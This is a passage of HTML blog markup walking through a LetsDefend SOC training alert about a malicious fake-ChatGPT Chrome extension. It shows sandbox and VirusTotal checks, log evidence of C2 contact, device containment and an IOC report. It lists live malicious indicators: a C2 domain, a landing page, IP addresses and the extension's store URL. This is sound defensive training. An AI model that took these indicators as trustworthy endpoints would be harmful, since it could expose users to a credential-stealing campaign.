src=&#34;https://stumblesec.com/posts/letsdefend-soc202-fakegpt-malicious-chrome-extension-investigation-walkthrough/a8a208053ef00d7cece8d04ed33866cb_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/letsdefend-soc202-fakegpt-malicious-chrome-extension-investigation-walkthrough/a8a208053ef00d7cece8d04ed33866cb_MD5_hu_d75b2e3ce9ef3104.png 800w, https://stumblesec.com/posts/letsdefend-soc202-fakegpt-malicious-chrome-extension-investigation-walkthrough/a8a208053ef00d7cece8d04ed33866cb_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://app.any.run/tasks/99055672-d173-4fd6-afc2-7a45c84c3448/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://app.any.run/tasks/99055672-d173-4fd6-afc2-7a45c84c3448/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Scrolling through the screenshots, we&amp;rsquo;ll get a better idea of what this extension is — a suspicious looking &lt;em&gt;ChatGPT&lt;/em&gt; extension.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;501px&#34; data-flex-grow=&#34;209&#34; height=&#34;574&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-soc202-fakegpt-malicious-chrome-extension-investigation-walkthrough/823f410558930b371febc84d13204af0_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/letsdefend-soc202-fakegpt-malicious-chrome-extension-investigation-walkthrough/823f410558930b371febc84d13204af0_MD5_hu_91d627f11a964b1d.png 800w, https://stumblesec.com/posts/letsdefend-soc202-fakegpt-malicious-chrome-extension-investigation-walkthrough/823f410558930b371febc84d13204af0_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://app.any.run/tasks/99055672-d173-4fd6-afc2-7a45c84c3448/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://app.any.run/tasks/99055672-d173-4fd6-afc2-7a45c84c3448/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;This finding also matches something we can observe back in Samuel&amp;rsquo;s &lt;em&gt;Endpoint Security&lt;/em&gt; &amp;gt; &lt;em&gt;Browser History&lt;/em&gt; logs.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;628px&#34; data-flex-grow=&#34;262&#34; height=&#34;458&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-soc202-fakegpt-malicious-chrome-extension-investigation-walkthrough/26894be56939e35b94520f184e7e6f1e_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/letsdefend-soc202-fakegpt-malicious-chrome-extension-investigation-walkthrough/26894be56939e35b94520f184e7e6f1e_MD5_hu_c1e0343c4acae532.png 800w, https://stumblesec.com/posts/letsdefend-soc202-fakegpt-malicious-chrome-extension-investigation-walkthrough/26894be56939e35b94520f184e7e6f1e_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;While we&amp;rsquo;ve gotten some more context, nothing was explicitly flagged as malicious on &lt;em&gt;ANY.RUN&lt;/em&gt; so let&amp;rsquo;s pivot and check out the next service on the list, &lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;VirusTotal&lt;/em&gt;&lt;/a&gt;&lt;em&gt;.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;After submitting the file hash to &lt;em&gt;VirusTotal&lt;/em&gt; and reviewing the available tabs, we still have no hits indicating concretely that this extension is malicious but what we do have is a comment in the &lt;em&gt;Community&lt;/em&gt; tab linking to an external report from &lt;a class=&#34;link&#34; href=&#34;https://labs.guard.io/fakegpt-new-variant-of-fake-chatgpt-chrome-extension-stealing-facebook-ad-accounts-with-4c9996a8f282&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;Guardio&lt;/em&gt;&lt;/a&gt;&lt;em&gt;.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;430px&#34; data-flex-grow=&#34;179&#34; height=&#34;446&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-soc202-fakegpt-malicious-chrome-extension-investigation-walkthrough/5cc06223eae46647790fdddc4950face_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;This could be a lead! Let&amp;rsquo;s check out the report.&lt;/p&gt;&#xA;&lt;p&gt;[**&amp;rdquo; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;FakeGPT&amp;rdquo;&#xA;: New Variant of Fake-ChatGPT Chrome Extension Stealing Facebook Ad Accounts with&amp;hellip;**&#xA;_By Nati Tal (Guardio Labs)_labs.guard.io](&lt;a class=&#34;link&#34; href=&#34;https://labs.guard.io/fakegpt-new-variant-of-fake-chatgpt-chrome-extension-stealing-facebook-ad-accounts-with-4c9996a8f282&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://labs.guard.io/fakegpt-new-variant-of-fake-chatgpt-chrome-extension-stealing-facebook-ad-accounts-with-4c9996a8f282&lt;/a&gt; &amp;ldquo;&lt;a class=&#34;link&#34; href=&#34;https://labs.guard.io/fakegpt-new-variant-of-fake-chatgpt-chrome-extension-stealing-facebook-ad-accounts-with-4c9996a8f282%22%29[]%28https://labs.guard.io/fakegpt-new-variant-of-fake-chatgpt-chrome-extension-stealing-facebook-ad-accounts-with-4c9996a8f282&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://labs.guard.io/fakegpt-new-variant-of-fake-chatgpt-chrome-extension-stealing-facebook-ad-accounts-with-4c9996a8f282&#34;)[](https://labs.guard.io/fakegpt-new-variant-of-fake-chatgpt-chrome-extension-stealing-facebook-ad-accounts-with-4c9996a8f282&lt;/a&gt;)&lt;/p&gt;&#xA;&lt;p&gt;Reading the post, assessing the screenshots, and reviewing the &lt;em&gt;indicators of compromise&lt;/em&gt; (&lt;em&gt;IOCs&lt;/em&gt;) listed in the article, it also doesn&amp;rsquo;t seem to match any of the artifacts that we have located so far in the investigation&amp;hellip;&lt;/p&gt;&#xA;&lt;p&gt;But pay close attention to the update note at the top of the article — let&amp;rsquo;s see what the update has to offer.&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;&lt;strong&gt;Update: March 22, 2023&lt;/strong&gt; — &lt;a class=&#34;link&#34; href=&#34;http://www.guard.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Guardio&lt;/a&gt; Labs discovered another variant in this FakeGPT campaign, abusing open-source code and yet again hijacking Facebook profiles — &lt;a class=&#34;link&#34; href=&#34;https://labs.guard.io/fakegpt-2-open-source-turned-malicious-in-another-variant-of-the-facebook-account-stealer-d00ef9883d61&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;read about it here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;[**&amp;rdquo; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;FakeGPT&amp;quot;&#xA;#2: Open-Source Turned Malicious in Another Variant of the Facebook Account-Stealer&amp;hellip;**&#xA;_By Nati Tal (Guardio Labs)_labs.guard.io](&lt;a class=&#34;link&#34; href=&#34;https://labs.guard.io/fakegpt-2-open-source-turned-malicious-in-another-variant-of-the-facebook-account-stealer-d00ef9883d61&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://labs.guard.io/fakegpt-2-open-source-turned-malicious-in-another-variant-of-the-facebook-account-stealer-d00ef9883d61&lt;/a&gt; &amp;ldquo;&lt;a class=&#34;link&#34; href=&#34;https://labs.guard.io/fakegpt-2-open-source-turned-malicious-in-another-variant-of-the-facebook-account-stealer-d00ef9883d61%22%29[]%28https://labs.guard.io/fakegpt-2-open-source-turned-malicious-in-another-variant-of-the-facebook-account-stealer-d00ef9883d61&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://labs.guard.io/fakegpt-2-open-source-turned-malicious-in-another-variant-of-the-facebook-account-stealer-d00ef9883d61&#34;)[](https://labs.guard.io/fakegpt-2-open-source-turned-malicious-in-another-variant-of-the-facebook-account-stealer-d00ef9883d61&lt;/a&gt;)&lt;/p&gt;&#xA;&lt;p&gt;Okay! Based on the screenshots in the second report, this variant already looks familiar based on what we observed on &lt;em&gt;Any.Run!&lt;/em&gt; Let&amp;rsquo;s focus on the &lt;em&gt;IOCs&lt;/em&gt; listed at the bottom of the article.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;362px&#34; data-flex-grow=&#34;151&#34; height=&#34;481&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-soc202-fakegpt-malicious-chrome-extension-investigation-walkthrough/fb003e7a400a00747bf495b174b1b426_MD5.png&#34; width=&#34;727&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://labs.guard.io/fakegpt-2-open-source-turned-malicious-in-another-variant-of-the-facebook-account-stealer-d00ef9883d61&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://labs.guard.io/fakegpt-2-open-source-turned-malicious-in-another-variant-of-the-facebook-account-stealer-d00ef9883d61&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Now we&amp;rsquo;re getting somewhere! The &lt;em&gt;Malicious Extension ID&lt;/em&gt; matches the one from the alert and now we have some &lt;em&gt;URLs&lt;/em&gt; we can hunt for in our &lt;em&gt;Log Management&lt;/em&gt;. Since we&amp;rsquo;ve now located known malicious &lt;em&gt;IOCs&lt;/em&gt; that match the artifacts we found on the victim&amp;rsquo;s system, this confirms that the extension is a &lt;strong&gt;&lt;em&gt;malicious,&lt;/em&gt;&lt;/strong&gt; &lt;em&gt;FakeGPT&lt;/em&gt; stealer extension.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;392px&#34; data-flex-grow=&#34;163&#34; height=&#34;436&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-soc202-fakegpt-malicious-chrome-extension-investigation-walkthrough/9d9253deecd18dd0b7b2d96c6af12f3c_MD5.png&#34; width=&#34;713&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;task-4-check-if-someone-requested-thec2&#34;&gt;Task 4: Check if Someone Requested the C2&#xA;&lt;/h3&gt;&lt;p&gt;The next step in our workflow is needing to determine that after the malicious extension was installed if it requested the &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/tactics/TA0011/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;Command and Control&lt;/em&gt;&lt;/a&gt; &lt;em&gt;(C2)&lt;/em&gt; server address or not.&lt;/p&gt;&#xA;&lt;p&gt;To do this, we&amp;rsquo;re going to use the &lt;em&gt;Log Management&lt;/em&gt; module to analyze relevant network traffic from Samuel&amp;rsquo;s device to see if we can find evidence that it contacted the &lt;em&gt;C2 Server IOC&lt;/em&gt; that we found in the &lt;a class=&#34;link&#34; href=&#34;https://labs.guard.io/fakegpt-2-open-source-turned-malicious-in-another-variant-of-the-facebook-account-stealer-d00ef9883d61&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;Guardio&lt;/em&gt;&lt;/a&gt; post.&lt;/p&gt;&#xA;&lt;p&gt;Navigate to the &lt;em&gt;Log Management&lt;/em&gt; tab, and toggle from the &amp;quot; # &amp;ldquo;Pro&amp;quot;filter to the &amp;quot; # &amp;ldquo;Basic&amp;quot;filter:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;619px&#34; data-flex-grow=&#34;258&#34; height=&#34;465&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-soc202-fakegpt-malicious-chrome-extension-investigation-walkthrough/9fdd6f4ae9fdb25c62597492b2622f73_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/letsdefend-soc202-fakegpt-malicious-chrome-extension-investigation-walkthrough/9fdd6f4ae9fdb25c62597492b2622f73_MD5_hu_678f87e5ceff9dea.png 800w, https://stumblesec.com/posts/letsdefend-soc202-fakegpt-malicious-chrome-extension-investigation-walkthrough/9fdd6f4ae9fdb25c62597492b2622f73_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Then, search for the &lt;em&gt;C2 Server&lt;/em&gt; from the &lt;em&gt;IOC&lt;/em&gt; list to see if we get any hits in our own logs:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1668px&#34; data-flex-grow=&#34;695&#34; height=&#34;104&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-soc202-fakegpt-malicious-chrome-extension-investigation-walkthrough/faaf3daff9052686ac144c87bfea4d44_MD5.png&#34; width=&#34;723&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1745px&#34; data-flex-grow=&#34;727&#34; height=&#34;165&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-soc202-fakegpt-malicious-chrome-extension-investigation-walkthrough/c1085bc8a2069efc7c8254d5069d0cc6_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/letsdefend-soc202-fakegpt-malicious-chrome-extension-investigation-walkthrough/c1085bc8a2069efc7c8254d5069d0cc6_MD5_hu_885036ddedeba5b6.png 800w, https://stumblesec.com/posts/letsdefend-soc202-fakegpt-malicious-chrome-extension-investigation-walkthrough/c1085bc8a2069efc7c8254d5069d0cc6_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Uh-oh — we have two hits! Recall that Samuel&amp;rsquo;s source (&lt;em&gt;SRC&lt;/em&gt;) &lt;em&gt;IP address&lt;/em&gt; is &lt;em&gt;172.16.17.173&lt;/em&gt; so we know that we&amp;rsquo;ve found the right entries for his device. Click the first entry to see the &lt;em&gt;Raw Log&lt;/em&gt; for more details:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;367px&#34; data-flex-grow=&#34;152&#34; height=&#34;351&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-soc202-fakegpt-malicious-chrome-extension-investigation-walkthrough/cffecbd15eec535a976f5922e35e92bf_MD5.png&#34; width=&#34;537&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;The presence of this &lt;em&gt;DNS&lt;/em&gt; query confirms that &lt;em&gt;chrome.exe&lt;/em&gt; on Samuel&amp;rsquo;s device requested the &lt;em&gt;C2 domain&lt;/em&gt; that we learned about from the &lt;a class=&#34;link&#34; href=&#34;https://labs.guard.io/fakegpt-2-open-source-turned-malicious-in-another-variant-of-the-facebook-account-stealer-d00ef9883d61&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;Guardio&lt;/em&gt;&lt;/a&gt; report. Additionally, we also have two &lt;em&gt;IP addresses&lt;/em&gt; that this domain resolves to — let&amp;rsquo;s confirm this with &lt;em&gt;VirusTotal:&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;352px&#34; data-flex-grow=&#34;147&#34; height=&#34;544&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-soc202-fakegpt-malicious-chrome-extension-investigation-walkthrough/10adaba481f651c2127e867b1cff6ae7_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/gui/domain/version.chatgpt4google.workers.dev/relations&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.virustotal.com/gui/domain/version.chatgpt4google.workers.dev/relations&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;To be thorough, we can also search for the &lt;em&gt;Landing Page IOCs&lt;/em&gt; to gather more artifacts for the investigation:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1855px&#34; data-flex-grow=&#34;773&#34; height=&#34;82&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-soc202-fakegpt-malicious-chrome-extension-investigation-walkthrough/048fa26a910f8d18a905cc1d6c5ebe75_MD5.png&#34; width=&#34;634&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;764px&#34; data-flex-grow=&#34;318&#34; height=&#34;251&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-soc202-fakegpt-malicious-chrome-extension-investigation-walkthrough/9c32da80f5b11cdca45d3cf8336c3166_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Okay, now that we&amp;rsquo;ve investigated the logs and found hits for a &lt;em&gt;Landing Page&lt;/em&gt; and the &lt;em&gt;C2 server&lt;/em&gt;, let&amp;rsquo;s register that the &lt;em&gt;C2&lt;/em&gt; was &lt;strong&gt;accessed&lt;/strong&gt; and continue through the workflow.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;389px&#34; data-flex-grow=&#34;162&#34; height=&#34;441&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-soc202-fakegpt-malicious-chrome-extension-investigation-walkthrough/6205f62c8fa809fe5c01de7ce3c7cb75_MD5.png&#34; width=&#34;716&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;task-5-containment&#34;&gt;Task 5: Containment&#xA;&lt;/h3&gt;&lt;p&gt;Now that we have confirmed that the file is malicious and it was not quarantined by the &lt;em&gt;antimalware&lt;/em&gt;, we&amp;rsquo;ll need to contain Samuel&amp;rsquo;s device to prevent any further negative impact so that we can remediate the threat.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;516px&#34; data-flex-grow=&#34;215&#34; height=&#34;369&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-soc202-fakegpt-malicious-chrome-extension-investigation-walkthrough/19fce3ef84b5472c27d5fc2debe6afbd_MD5.png&#34; width=&#34;794&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;To do this, we&amp;rsquo;ll go back to the &lt;em&gt;Endpoint Security&lt;/em&gt; tab, search for &lt;em&gt;Samuel&lt;/em&gt;, and trigger the containment action.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1024px&#34; data-flex-grow=&#34;427&#34; height=&#34;281&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-soc202-fakegpt-malicious-chrome-extension-investigation-walkthrough/ca5b267ff4c1e5ad9480bd90fe941a89_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/letsdefend-soc202-fakegpt-malicious-chrome-extension-investigation-walkthrough/ca5b267ff4c1e5ad9480bd90fe941a89_MD5_hu_f1ee045908bb70b6.png 800w, https://stumblesec.com/posts/letsdefend-soc202-fakegpt-malicious-chrome-extension-investigation-walkthrough/ca5b267ff4c1e5ad9480bd90fe941a89_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;task-6-report-and-close-thecase&#34;&gt;Task 6: Report and Close the Case&#xA;&lt;/h3&gt;&lt;p&gt;Okay, we&amp;rsquo;re closing in on the end of the investigation! The next step in the playbook is to recap the evidence, or artifacts, that we discovered on the victim&amp;rsquo;s system throughout the investigation.&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The first artifact will be the &lt;em&gt;file hash&lt;/em&gt; of the malicious extension. The alert provided the &lt;em&gt;SHA256&lt;/em&gt; &lt;em&gt;file hash,&lt;/em&gt; but we need to input the &lt;em&gt;MD5&lt;/em&gt; hash into our case. We can simply look back at the &lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/gui/file/7421f9abe5e618a0d517861f4709df53292a5f137053a227bfb4eb8e152a4669/details&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;VirusTotal&lt;/em&gt;&lt;/a&gt; entry for the malicious extension and copy it from there.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;9cc6c26bd215549c39ba5b65e9eec9ea&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;614px&#34; data-flex-grow=&#34;255&#34; height=&#34;469&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-soc202-fakegpt-malicious-chrome-extension-investigation-walkthrough/fea98ca4c7f0f2a78ce47a65ff56da39_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/letsdefend-soc202-fakegpt-malicious-chrome-extension-investigation-walkthrough/fea98ca4c7f0f2a78ce47a65ff56da39_MD5_hu_1a2facdee7dc2009.png 800w, https://stumblesec.com/posts/letsdefend-soc202-fakegpt-malicious-chrome-extension-investigation-walkthrough/fea98ca4c7f0f2a78ce47a65ff56da39_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;ol start=&#34;2&#34;&gt;&#xA;&lt;li&gt;Next, we will enter the &lt;em&gt;Chrome Store URL address&lt;/em&gt; for the malicious extension. In &lt;strong&gt;Task 3,&lt;/strong&gt; we found this in Samuel&amp;rsquo;s &lt;em&gt;Browser History&lt;/em&gt; and within the &lt;em&gt;Guardio&lt;/em&gt; report.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://chrome.google.com/webstore/detail/chatgpt-for-google/hacfaophiklaeolhnmckojjjjbnappen&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://chrome.google.com/webstore/detail/chatgpt-for-google/hacfaophiklaeolhnmckojjjjbnappen&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;994px&#34; data-flex-grow=&#34;414&#34; height=&#34;193&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-soc202-fakegpt-malicious-chrome-extension-investigation-walkthrough/1ff5ba766d5b33aff62ded1e77af5814_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;ol start=&#34;3&#34;&gt;&#xA;&lt;li&gt;Next, we&amp;rsquo;ll enter the C2 Server URL Address and the 2x &lt;em&gt;DNS&lt;/em&gt; resolved &lt;em&gt;IP Addresses&lt;/em&gt; that we discovered in &lt;strong&gt;Tasks 3 &amp;amp; 4:&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;version.chatgpt4google.workers.dev&#xA;104.21.63.166&#xA;172.67.147.243&lt;/p&gt;&#xA;&lt;ol start=&#34;4&#34;&gt;&#xA;&lt;li&gt;Finally, we can also add the additional landing pages from the &lt;em&gt;IOC report&lt;/em&gt; that we also found with the &lt;em&gt;Log Management&lt;/em&gt; data in &lt;strong&gt;Task 4&lt;/strong&gt;. Adding these would reduce the risk of any other user downloading the malicious extension.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;chatgptforgoogle.pro&#xA;52.76.101.124&#xA;3.1.17.18&#xA;18.140.6.45&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;202px&#34; data-flex-grow=&#34;84&#34; height=&#34;932&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-soc202-fakegpt-malicious-chrome-extension-investigation-walkthrough/7cf110fb1b66bf0995f4aed42fb4edf8_MD5.png&#34; width=&#34;786&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Next, after putting in our list of artifacts, it&amp;rsquo;s time to input some good &lt;em&gt;Analyst Notes&lt;/em&gt; to summarize our findings. These notes will accompany our list of &lt;em&gt;IOCs&lt;/em&gt; when we file our case report:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;490px&#34; data-flex-grow=&#34;204&#34; height=&#34;353&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-soc202-fakegpt-malicious-chrome-extension-investigation-walkthrough/d2a9a4b295d0120e13a093ae835be411_MD5.png&#34; width=&#34;721&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;376px&#34; data-flex-grow=&#34;156&#34; height=&#34;291&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-soc202-fakegpt-malicious-chrome-extension-investigation-walkthrough/94be349405a46e097733ee54b0106754_MD5.png&#34; width=&#34;456&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Finally, with our report filed, we can now officially close the alert from the &lt;em&gt;Investigation Channel&lt;/em&gt;! Great job tackling this investigation from start to finish — let&amp;rsquo;s wrap this thing up.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2064px&#34; data-flex-grow=&#34;860&#34; height=&#34;93&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-soc202-fakegpt-malicious-chrome-extension-investigation-walkthrough/183759a6b1203dc620b43186c2b1471c_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;320px&#34; data-flex-grow=&#34;133&#34; height=&#34;444&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-soc202-fakegpt-malicious-chrome-extension-investigation-walkthrough/2f406d5ae06b0cecbbcb44b662f707da_MD5.png&#34; width=&#34;592&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 